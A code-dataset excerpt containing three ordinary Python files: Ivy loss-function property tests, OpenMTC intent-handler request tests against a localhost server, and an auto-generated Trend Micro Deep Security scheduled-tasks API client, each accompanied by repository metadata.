de193946a580ca0f54d78fe7fc4031a6ff66d2bb

[ "Apache-2.0" ]

null

# global import numpy as np from hypothesis import given, strategies as st # local import ivy import ivy_tests.test_ivy.helpers as helpers # cross_entropy @given( dtype_and_x=helpers.dtype_and_values(ivy.valid_float_dtypes, 2), as_variable=helpers.list_of_length(st.booleans(), 2), num_positional_args=helpers.num_positional_args(fn_name="cross_entropy"), native_array=helpers.list_of_length(st.booleans(), 2), container=helpers.list_of_length(st.booleans(), 2), instance_method=st.booleans(), ) def test_cross_entropy( dtype_and_x, as_variable, num_positional_args, native_array, container, instance_method, fw, ): input_dtype, x = dtype_and_x if (v == [] for v in x): return if fw == "torch" and input_dtype == "float16": return helpers.test_array_function( input_dtype, as_variable, False, num_positional_args, native_array, container, instance_method, fw, "cross_entropy", true=np.asarray(x[0], dtype=input_dtype[0]), pred=np.asarray(x[1], dtype=input_dtype[1]), ) # binary_cross_entropy @given( dtype_and_x=helpers.dtype_and_values(ivy.valid_float_dtypes, 2), as_variable=helpers.list_of_length(st.booleans(), 2), num_positional_args=helpers.num_positional_args(fn_name="binary_cross_entropy"), native_array=helpers.list_of_length(st.booleans(), 2), container=helpers.list_of_length(st.booleans(), 2), instance_method=st.booleans(), ) def test_binary_cross_entropy( dtype_and_x, as_variable, num_positional_args, native_array, container, instance_method, fw, ): input_dtype, x = dtype_and_x if (v == [] for v in x): return if fw == "torch" and input_dtype == "float16": return helpers.test_array_function( input_dtype, as_variable, False, num_positional_args, native_array, container, instance_method, fw, "binary_cross_entropy", true=np.asarray(x[0], dtype=input_dtype[0]), pred=np.asarray(x[1], dtype=input_dtype[1]), ) # sparse_cross_entropy @given( dtype_and_x=helpers.dtype_and_values(ivy.valid_float_dtypes, 2), as_variable=helpers.list_of_length(st.booleans(), 2), num_positional_args=helpers.num_positional_args(fn_name="sparse_cross_entropy"), native_array=helpers.list_of_length(st.booleans(), 2), container=helpers.list_of_length(st.booleans(), 2), instance_method=st.booleans(), ) def test_sparse_cross_entropy( dtype_and_x, as_variable, num_positional_args, native_array, container, instance_method, fw, ): input_dtype, x = dtype_and_x if (v == [] for v in x): return if fw == "torch" and input_dtype == "float16": return helpers.test_array_function( input_dtype, as_variable, False, num_positional_args, native_array, container, instance_method, fw, "sparse_cross_entropy", true=np.asarray(x[0], dtype=input_dtype[0]), pred=np.asarray(x[1], dtype=input_dtype[1]), )

26.393443

84

0.661801

430

3,220

4.611628

0.137209

0.075643

0.102874

0.086233

0.919818

0

0.012092

0.229503

3,220

121

85

26.61157

0.787183

0.021118

0

0.825688

0

0.045137

0

1

0.027523

false

0

0.036697

0

0.119266

0

null

0

1

0

1

0

null

0

7

960c6141c0dee5b1de61ee32614e1a4a93c10b2f

9,754

py

Python

eds/openmtc-gevent/server/openmtc-server/src/openmtc_server/plugins/transport_android_intent/test_retarget.py

piyush82/elastest-device-emulator-service

b4d6b393d6042c54a7b3dfb5f58cad5efd00f0e7

[ "Apache-2.0" ]

null

eds/openmtc-gevent/server/openmtc-server/src/openmtc_server/plugins/transport_android_intent/test_retarget.py

piyush82/elastest-device-emulator-service

b4d6b393d6042c54a7b3dfb5f58cad5efd00f0e7

[ "Apache-2.0" ]

null

eds/openmtc-gevent/server/openmtc-server/src/openmtc_server/plugins/transport_android_intent/test_retarget.py

piyush82/elastest-device-emulator-service

b4d6b393d6042c54a7b3dfb5f58cad5efd00f0e7

[ "Apache-2.0" ]

null

from openmtc_scl.serializer import JsonSerializer from IntentHandling import IntentHandler from openmtc.response import RetrieveResponseConfirmation, CreateResponseConfirmation, DeleteResponseConfirmation, ErrorResponseConfirmation retargeturl = "http://localhost:6001" def test_retarget(request_handler, logger, config, method, path): payload = {"method":method, "path":retargeturl+path, "replyAction":"intent://test_action", "requestId":"123" } intentHandler = IntentHandler(logger, config) request = intentHandler.parseRequest("test_issuer",payload, None) result = intentHandler.handleParsedRequest(request, request_handler, None) # result = json.loads(result.decode("utf-8")) logger.info("result is "+str(result)) #f result is not None: # if isinstance(result[1], IntentError): # logger.info("error while sending request") # #result.sendIntent(context, self.action, self.issuer) # elif isinstance(result[1], Response): # logger.info("hurray"+str(result["response"])) def test_create_app(request_handler, logger, config, app_name): payload = {"method":"create", "content_type":"application/json", "path":retargeturl+"/m2m/applications", "content":"{\"application\":{\"appId\":\""+app_name+"\"}}", "replyAction":"intent://test_action", "requestId":"123" } # reference = "someRef" # subscriptionId = "someSubscrId" intentHandler = IntentHandler(logger, config) request = intentHandler.parseRequest("test_issuer",payload, None) result = intentHandler.handleParsedRequest(request, request_handler, None) logger.info("result is "+str(result)) def test_create_app_with_search_str(request_handler, logger, config, app_name, search_string): if search_string is None: test_create_app(request_handler, logger, config, app_name) else: payload = {"method":"create", "content_type":"application/json", "path":retargeturl+"/m2m/applications", "content":"{\"application\":{\"appId\":\""+app_name+"\", \"searchStrings\":{\"searchString\":[\""+search_string+"\"]}}}", "replyAction":"intent://test_action", "requestId":"123" } # reference = "someRef" # subscriptionId = "someSubscrId" intentHandler = IntentHandler(logger, config) request = intentHandler.parseRequest("test_issuer",payload, None) result = intentHandler.handleParsedRequest(request, request_handler, None) logger.info("result is "+str(result)) def test_create_app_property(request_handler, logger, config, app_name, prop_name): payload = {"method":"create", "content_type":"application/json", "path":retargeturl+"/m2m/applications/"+app_name+"/containers", "content":"{\"container\":{\"id\":\""+prop_name+"\"}}", "replyAction":"intent://test_action", "requestId":"123" } # reference = "someRef" # subscriptionId = "someSubscrId" intentHandler = IntentHandler(logger, config) request = intentHandler.parseRequest("test_issuer",payload, None) result = intentHandler.handleParsedRequest(request, request_handler, None) logger.info("result is "+str(result)) def test_get_latest_data_of_property(request_handler, logger, config, app_name, prop_name): payload = {"method":"retrieve", "content_type":"application/json", "path":retargeturl+"/m2m/applications/"+app_name+"/containers/"+prop_name+"/contentInstances/latest", "replyAction":"intent://test_action", "requestId":"123" } # reference = "someRef" # subscriptionId = "someSubscrId" intentHandler = IntentHandler(logger, config) request = intentHandler.parseRequest("test_issuer",payload, None) result = intentHandler.handleParsedRequest(request, request_handler, None) logger.info("result is "+str(result)) response = result["response"] if isinstance(response, RetrieveResponseConfirmation): if response.resource is not None: serializer = JsonSerializer() content = serializer.encode(response.resource) logger.info("response content is "+content) def test_get_all_properties(request_handler, logger, config, app_name): payload = {"method":"retrieve", "content_type":"application/json", "path":retargeturl+"/m2m/applications/"+app_name+"/containers", "replyAction":"intent://test_action", "requestId":"123" } # reference = "someRef" # subscriptionId = "someSubscrId" intentHandler = IntentHandler(logger, config) request = intentHandler.parseRequest("test_issuer",payload, None) result = intentHandler.handleParsedRequest(request, request_handler, None) logger.info("result is "+str(result)) response = result["response"] if isinstance(response, RetrieveResponseConfirmation): if response.resource is not None: serializer = JsonSerializer() content = serializer.encode(response.resource) logger.info("response content is "+content) def test_subscribe_apps_with_search_str(request_handler, logger, config, search_string, contact): content = "{\"subscription\":{\"contact\":\""+contact+"\"" if search_string is not None: content = content+", \"filterCriteria\":{\"searchStrings\":{\"searchString\":[\""+search_string+"\"] }}" content = content+ "}}" logger.info("content is "+content) payload = {"method":"create", "path":retargeturl+"/m2m/applications/subscriptions", "replyAction":contact, "requestId":"123", "content_type":"application/json", "content":content } intentHandler = IntentHandler(logger, config) request = intentHandler.parseRequest("test_issuer",payload, None) result = intentHandler.handleParsedRequest(request, request_handler, None) logger.info("result is "+str(result)) ''' def update_subscription def test_unsubscribe_apps_with_search_str(request_handler, logger, config, search_string, contact): ''' def test_discover_apps_with_search_str(request_handler, logger, config, search_string, contact): payload = {"method":"retrieve", "path":retargeturl+"/m2m/discovery?searchStrings=\""+search_string+"\"", "replyAction":contact, "requestId":"123" } # reference = "someRef" # subscriptionId = "someSubscrId" intentHandler = IntentHandler(logger, config) request = intentHandler.parseRequest("test_issuer",payload, None) result = intentHandler.handleParsedRequest(request, request_handler, None) logger.info("result is "+str(result)) def test_get_app(request_handler, logger, config, app_name, contact): payload = {"method":"retrieve", "path":retargeturl+"/m2m/applications/"+app_name, "replyAction":contact, "requestId":"123" } # reference = "someRef" # subscriptionId = "someSubscrId" intentHandler = IntentHandler(logger, config) request = intentHandler.parseRequest("test_issuer",payload, None) result = intentHandler.handleParsedRequest(request, request_handler, None) logger.info("result is "+str(result)) def test_subscribe_pushed_data(request_handler, logger, config, app_name, property_name, contact): payload = {"method":"create", "content_type":"application/json", "path":retargeturl+"/m2m/applications/"+app_name+"/containers/"+property_name+"/contentInstances/subscriptions", "content":"{\"subscription\":{\"contact\":\""+contact+"\"}}", "replyAction":"intent://test_action", "requestId":"123" } # reference = "someRef" # subscriptionId = "someSubscrId" intentHandler = IntentHandler(logger, config) request = intentHandler.parseRequest("test_issuer",payload, None) result = intentHandler.handleParsedRequest(request, request_handler, None) logger.info("result is "+str(result)) def test_push_data(request_handler, logger, config, app_name, property_name): payload = {"method":"create", "content_type":"application/json", "path":retargeturl+"/m2m/applications/"+app_name+"/containers/"+property_name+"/contentInstances", "content":"{\"value\":\"75\"}", "replyAction":"intent://test_action", "requestId":"123" } # reference = "someRef" # subscriptionId = "someSubscrId" intentHandler = IntentHandler(logger, config) request = intentHandler.parseRequest("test_issuer",payload, None) result = intentHandler.handleParsedRequest(request, request_handler, None) logger.info("result is "+str(result)) def test_destroy_app(request_handler, logger, config, app_name): payload = {"method":"delete", "content_type":"application/json", "path":retargeturl+"/m2m/applications/"+app_name, "replyAction":"intent://test_action", "requestId":"123" } # reference = "someRef" # subscriptionId = "someSubscrId" intentHandler = IntentHandler(logger, config) request = intentHandler.parseRequest("test_issuer",payload, None) result = intentHandler.handleParsedRequest(request, request_handler, None) logger.info("result is "+str(result))

43.73991

140

0.650502

894

9,754

6.941834

0.121924

0.058653

0.045118

0.058653

0.808895

0.797132

0.768289

0.763616

0.726394

0

0.007298

0.213348

9,754

222

141

43.936937

0.801512

0.093705

0

0.679245

0

0.20816

0.01337

0

null

0

0.018868

null

0

null

0

1

0

null

0

1

0

7

9625605efffd855b2f0477ab2c11c62dce89e2cb

30,624

py

Python

source/deepsecurity/api/scheduled_tasks_api.py

felipecosta09/cloudone-workload-controltower-lifecycle

7927c84d164058b034fc872701b5ee117641f4d1

[ "Apache-2.0" ]

1

2021-10-30T16:40:09.000Z

source/deepsecurity/api/scheduled_tasks_api.py

felipecosta09/cloudone-workload-controltower-lifecycle

7927c84d164058b034fc872701b5ee117641f4d1

[ "Apache-2.0" ]

1

2021-07-28T20:19:03.000Z

source/deepsecurity/api/scheduled_tasks_api.py

felipecosta09/cloudone-workload-controltower-lifecycle

7927c84d164058b034fc872701b5ee117641f4d1

[ "Apache-2.0" ]

1

2021-10-30T16:40:02.000Z

# coding: utf-8 """ Trend Micro Deep Security API Copyright 2018 - 2020 Trend Micro Incorporated. Get protected, stay secured, and keep informed with Trend Micro Deep Security's new RESTful API. Access system data and manage security configurations to automate your security workflows and integrate Deep Security into your CI/CD pipeline. # noqa: E501 OpenAPI spec version: 12.5.841 Generated by: https://github.com/swagger-api/swagger-codegen.git """ from __future__ import absolute_import import re # noqa: F401 # python 2 and python 3 compatibility library import six from deepsecurity.api_client import ApiClient class ScheduledTasksApi(object): """NOTE: This class is auto generated by the swagger code generator program. Do not edit the class manually. Ref: https://github.com/swagger-api/swagger-codegen """ def __init__(self, api_client=None): if api_client is None: api_client = ApiClient() self.api_client = api_client def create_scheduled_task(self, scheduled_task, api_version, **kwargs): # noqa: E501 """Create a Scheduled Task # noqa: E501 Create a new scheduled task. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_scheduled_task(scheduled_task, api_version, async_req=True) >>> result = thread.get() :param async_req bool :param ScheduledTask scheduled_task: The settings of the new scheduled task. (required) :param str api_version: The version of the api being called. (required) :return: ScheduledTask If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.create_scheduled_task_with_http_info(scheduled_task, api_version, **kwargs) # noqa: E501 else: (data) = self.create_scheduled_task_with_http_info(scheduled_task, api_version, **kwargs) # noqa: E501 return data def create_scheduled_task_with_http_info(self, scheduled_task, api_version, **kwargs): # noqa: E501 """Create a Scheduled Task # noqa: E501 Create a new scheduled task. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.create_scheduled_task_with_http_info(scheduled_task, api_version, async_req=True) >>> result = thread.get() :param async_req bool :param ScheduledTask scheduled_task: The settings of the new scheduled task. (required) :param str api_version: The version of the api being called. (required) :return: ScheduledTask If the method is called asynchronously, returns the request thread. """ all_params = ['scheduled_task', 'api_version'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method create_scheduled_task" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'scheduled_task' is set if ('scheduled_task' not in params or params['scheduled_task'] is None): raise ValueError("Missing the required parameter `scheduled_task` when calling `create_scheduled_task`") # noqa: E501 # verify the required parameter 'api_version' is set if ('api_version' not in params or params['api_version'] is None): raise ValueError("Missing the required parameter `api_version` when calling `create_scheduled_task`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} if 'api_version' in params: header_params['api-version'] = params['api_version'] # noqa: E501 form_params = [] local_var_files = {} body_params = None if 'scheduled_task' in params: body_params = params['scheduled_task'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['DefaultAuthentication'] # noqa: E501 return self.api_client.call_api( '/scheduledtasks', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ScheduledTask', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def delete_scheduled_task(self, scheduled_task_id, api_version, **kwargs): # noqa: E501 """Delete a Scheduled Task # noqa: E501 Delete a scheduled task by ID. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_scheduled_task(scheduled_task_id, api_version, async_req=True) >>> result = thread.get() :param async_req bool :param int scheduled_task_id: The ID number of the scheduled task to delete. (required) :param str api_version: The version of the api being called. (required) :return: None If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.delete_scheduled_task_with_http_info(scheduled_task_id, api_version, **kwargs) # noqa: E501 else: (data) = self.delete_scheduled_task_with_http_info(scheduled_task_id, api_version, **kwargs) # noqa: E501 return data def delete_scheduled_task_with_http_info(self, scheduled_task_id, api_version, **kwargs): # noqa: E501 """Delete a Scheduled Task # noqa: E501 Delete a scheduled task by ID. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.delete_scheduled_task_with_http_info(scheduled_task_id, api_version, async_req=True) >>> result = thread.get() :param async_req bool :param int scheduled_task_id: The ID number of the scheduled task to delete. (required) :param str api_version: The version of the api being called. (required) :return: None If the method is called asynchronously, returns the request thread. """ all_params = ['scheduled_task_id', 'api_version'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method delete_scheduled_task" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'scheduled_task_id' is set if ('scheduled_task_id' not in params or params['scheduled_task_id'] is None): raise ValueError("Missing the required parameter `scheduled_task_id` when calling `delete_scheduled_task`") # noqa: E501 # verify the required parameter 'api_version' is set if ('api_version' not in params or params['api_version'] is None): raise ValueError("Missing the required parameter `api_version` when calling `delete_scheduled_task`") # noqa: E501 if 'scheduled_task_id' in params and not re.search('\\d+', str(params['scheduled_task_id'])): # noqa: E501 raise ValueError("Invalid value for parameter `scheduled_task_id` when calling `delete_scheduled_task`, must conform to the pattern `/\\d+/`") # noqa: E501 collection_formats = {} path_params = {} if 'scheduled_task_id' in params: path_params['scheduledTaskID'] = params['scheduled_task_id'] # noqa: E501 query_params = [] header_params = {} if 'api_version' in params: header_params['api-version'] = params['api_version'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['DefaultAuthentication'] # noqa: E501 return self.api_client.call_api( '/scheduledtasks/{scheduledTaskID}', 'DELETE', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type=None, # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def describe_scheduled_task(self, scheduled_task_id, api_version, **kwargs): # noqa: E501 """Describe a Scheduled Task # noqa: E501 Describe a scheduled task by ID. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.describe_scheduled_task(scheduled_task_id, api_version, async_req=True) >>> result = thread.get() :param async_req bool :param int scheduled_task_id: The ID number of the scheduled task to describe. (required) :param str api_version: The version of the api being called. (required) :return: ScheduledTask If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.describe_scheduled_task_with_http_info(scheduled_task_id, api_version, **kwargs) # noqa: E501 else: (data) = self.describe_scheduled_task_with_http_info(scheduled_task_id, api_version, **kwargs) # noqa: E501 return data def describe_scheduled_task_with_http_info(self, scheduled_task_id, api_version, **kwargs): # noqa: E501 """Describe a Scheduled Task # noqa: E501 Describe a scheduled task by ID. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.describe_scheduled_task_with_http_info(scheduled_task_id, api_version, async_req=True) >>> result = thread.get() :param async_req bool :param int scheduled_task_id: The ID number of the scheduled task to describe. (required) :param str api_version: The version of the api being called. (required) :return: ScheduledTask If the method is called asynchronously, returns the request thread. """ all_params = ['scheduled_task_id', 'api_version'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method describe_scheduled_task" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'scheduled_task_id' is set if ('scheduled_task_id' not in params or params['scheduled_task_id'] is None): raise ValueError("Missing the required parameter `scheduled_task_id` when calling `describe_scheduled_task`") # noqa: E501 # verify the required parameter 'api_version' is set if ('api_version' not in params or params['api_version'] is None): raise ValueError("Missing the required parameter `api_version` when calling `describe_scheduled_task`") # noqa: E501 if 'scheduled_task_id' in params and not re.search('\\d+', str(params['scheduled_task_id'])): # noqa: E501 raise ValueError("Invalid value for parameter `scheduled_task_id` when calling `describe_scheduled_task`, must conform to the pattern `/\\d+/`") # noqa: E501 collection_formats = {} path_params = {} if 'scheduled_task_id' in params: path_params['scheduledTaskID'] = params['scheduled_task_id'] # noqa: E501 query_params = [] header_params = {} if 'api_version' in params: header_params['api-version'] = params['api_version'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['DefaultAuthentication'] # noqa: E501 return self.api_client.call_api( '/scheduledtasks/{scheduledTaskID}', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ScheduledTask', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def list_scheduled_tasks(self, api_version, **kwargs): # noqa: E501 """List Scheduled Tasks # noqa: E501 Lists all scheduled tasks. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.list_scheduled_tasks(api_version, async_req=True) >>> result = thread.get() :param async_req bool :param str api_version: The version of the api being called. (required) :return: ScheduledTasks If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.list_scheduled_tasks_with_http_info(api_version, **kwargs) # noqa: E501 else: (data) = self.list_scheduled_tasks_with_http_info(api_version, **kwargs) # noqa: E501 return data def list_scheduled_tasks_with_http_info(self, api_version, **kwargs): # noqa: E501 """List Scheduled Tasks # noqa: E501 Lists all scheduled tasks. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.list_scheduled_tasks_with_http_info(api_version, async_req=True) >>> result = thread.get() :param async_req bool :param str api_version: The version of the api being called. (required) :return: ScheduledTasks If the method is called asynchronously, returns the request thread. """ all_params = ['api_version'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method list_scheduled_tasks" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'api_version' is set if ('api_version' not in params or params['api_version'] is None): raise ValueError("Missing the required parameter `api_version` when calling `list_scheduled_tasks`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} if 'api_version' in params: header_params['api-version'] = params['api_version'] # noqa: E501 form_params = [] local_var_files = {} body_params = None # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['DefaultAuthentication'] # noqa: E501 return self.api_client.call_api( '/scheduledtasks', 'GET', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ScheduledTasks', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def modify_scheduled_task(self, scheduled_task_id, scheduled_task, api_version, **kwargs): # noqa: E501 """Modify a Scheduled Task # noqa: E501 Modify a scheduled task by ID. Any unset elements will be left unchanged. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.modify_scheduled_task(scheduled_task_id, scheduled_task, api_version, async_req=True) >>> result = thread.get() :param async_req bool :param int scheduled_task_id: The ID number of the scheduled task to modify. (required) :param ScheduledTask scheduled_task: The settings of the scheduled task to modify. (required) :param str api_version: The version of the api being called. (required) :return: ScheduledTask If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.modify_scheduled_task_with_http_info(scheduled_task_id, scheduled_task, api_version, **kwargs) # noqa: E501 else: (data) = self.modify_scheduled_task_with_http_info(scheduled_task_id, scheduled_task, api_version, **kwargs) # noqa: E501 return data def modify_scheduled_task_with_http_info(self, scheduled_task_id, scheduled_task, api_version, **kwargs): # noqa: E501 """Modify a Scheduled Task # noqa: E501 Modify a scheduled task by ID. Any unset elements will be left unchanged. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.modify_scheduled_task_with_http_info(scheduled_task_id, scheduled_task, api_version, async_req=True) >>> result = thread.get() :param async_req bool :param int scheduled_task_id: The ID number of the scheduled task to modify. (required) :param ScheduledTask scheduled_task: The settings of the scheduled task to modify. (required) :param str api_version: The version of the api being called. (required) :return: ScheduledTask If the method is called asynchronously, returns the request thread. """ all_params = ['scheduled_task_id', 'scheduled_task', 'api_version'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method modify_scheduled_task" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'scheduled_task_id' is set if ('scheduled_task_id' not in params or params['scheduled_task_id'] is None): raise ValueError("Missing the required parameter `scheduled_task_id` when calling `modify_scheduled_task`") # noqa: E501 # verify the required parameter 'scheduled_task' is set if ('scheduled_task' not in params or params['scheduled_task'] is None): raise ValueError("Missing the required parameter `scheduled_task` when calling `modify_scheduled_task`") # noqa: E501 # verify the required parameter 'api_version' is set if ('api_version' not in params or params['api_version'] is None): raise ValueError("Missing the required parameter `api_version` when calling `modify_scheduled_task`") # noqa: E501 if 'scheduled_task_id' in params and not re.search('\\d+', str(params['scheduled_task_id'])): # noqa: E501 raise ValueError("Invalid value for parameter `scheduled_task_id` when calling `modify_scheduled_task`, must conform to the pattern `/\\d+/`") # noqa: E501 collection_formats = {} path_params = {} if 'scheduled_task_id' in params: path_params['scheduledTaskID'] = params['scheduled_task_id'] # noqa: E501 query_params = [] header_params = {} if 'api_version' in params: header_params['api-version'] = params['api_version'] # noqa: E501 form_params = [] local_var_files = {} body_params = None if 'scheduled_task' in params: body_params = params['scheduled_task'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['DefaultAuthentication'] # noqa: E501 return self.api_client.call_api( '/scheduledtasks/{scheduledTaskID}', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ScheduledTask', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats) def search_scheduled_tasks(self, api_version, **kwargs): # noqa: E501 """Search Scheduled Tasks # noqa: E501 Search for scheduled tasks using optional filters. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.search_scheduled_tasks(api_version, async_req=True) >>> result = thread.get() :param async_req bool :param str api_version: The version of the api being called. (required) :param SearchFilter search_filter: A collection of options used to filter the search results. :return: ScheduledTasks If the method is called asynchronously, returns the request thread. """ kwargs['_return_http_data_only'] = True if kwargs.get('async_req'): return self.search_scheduled_tasks_with_http_info(api_version, **kwargs) # noqa: E501 else: (data) = self.search_scheduled_tasks_with_http_info(api_version, **kwargs) # noqa: E501 return data def search_scheduled_tasks_with_http_info(self, api_version, **kwargs): # noqa: E501 """Search Scheduled Tasks # noqa: E501 Search for scheduled tasks using optional filters. # noqa: E501 This method makes a synchronous HTTP request by default. To make an asynchronous HTTP request, please pass async_req=True >>> thread = api.search_scheduled_tasks_with_http_info(api_version, async_req=True) >>> result = thread.get() :param async_req bool :param str api_version: The version of the api being called. (required) :param SearchFilter search_filter: A collection of options used to filter the search results. :return: ScheduledTasks If the method is called asynchronously, returns the request thread. """ all_params = ['api_version', 'search_filter'] # noqa: E501 all_params.append('async_req') all_params.append('_return_http_data_only') all_params.append('_preload_content') all_params.append('_request_timeout') params = locals() for key, val in six.iteritems(params['kwargs']): if key not in all_params: raise TypeError( "Got an unexpected keyword argument '%s'" " to method search_scheduled_tasks" % key ) params[key] = val del params['kwargs'] # verify the required parameter 'api_version' is set if ('api_version' not in params or params['api_version'] is None): raise ValueError("Missing the required parameter `api_version` when calling `search_scheduled_tasks`") # noqa: E501 collection_formats = {} path_params = {} query_params = [] header_params = {} if 'api_version' in params: header_params['api-version'] = params['api_version'] # noqa: E501 form_params = [] local_var_files = {} body_params = None if 'search_filter' in params: body_params = params['search_filter'] # HTTP header `Accept` header_params['Accept'] = self.api_client.select_header_accept( ['application/json']) # noqa: E501 # HTTP header `Content-Type` header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501 ['application/json']) # noqa: E501 # Authentication setting auth_settings = ['DefaultAuthentication'] # noqa: E501 return self.api_client.call_api( '/scheduledtasks/search', 'POST', path_params, query_params, header_params, body=body_params, post_params=form_params, files=local_var_files, response_type='ScheduledTasks', # noqa: E501 auth_settings=auth_settings, async_req=params.get('async_req'), _return_http_data_only=params.get('_return_http_data_only'), _preload_content=params.get('_preload_content', True), _request_timeout=params.get('_request_timeout'), collection_formats=collection_formats)

45.10162

311

0.621833

3,531

30,624

5.136505

0.058907

0.107515

0.04466

0.026465

0.957104

0.954513

0.951811

0.94514

0.942218

0.938965

0

0.016329

0.294083

30,624

678

312

45.168142

0.822648

0.330623

0

0.803279

0

0.23793

0.058696

0

1

0.035519

false

0

0.010929

0

0.098361

0

null

0

1

0

1

0

null

0

7

7d6846c30ed920c7c807ab14b12bc875543791a3

54,968

py

Python

gnocchi/tests/test_storage.py

yi-cloud/gnocchi

72286fefdedef71a37104f7a535e4ed2b3a99f15

[ "Apache-2.0" ]

null

gnocchi/tests/test_storage.py

yi-cloud/gnocchi

72286fefdedef71a37104f7a535e4ed2b3a99f15

[ "Apache-2.0" ]

null

gnocchi/tests/test_storage.py

yi-cloud/gnocchi

72286fefdedef71a37104f7a535e4ed2b3a99f15

[ "Apache-2.0" ]

null

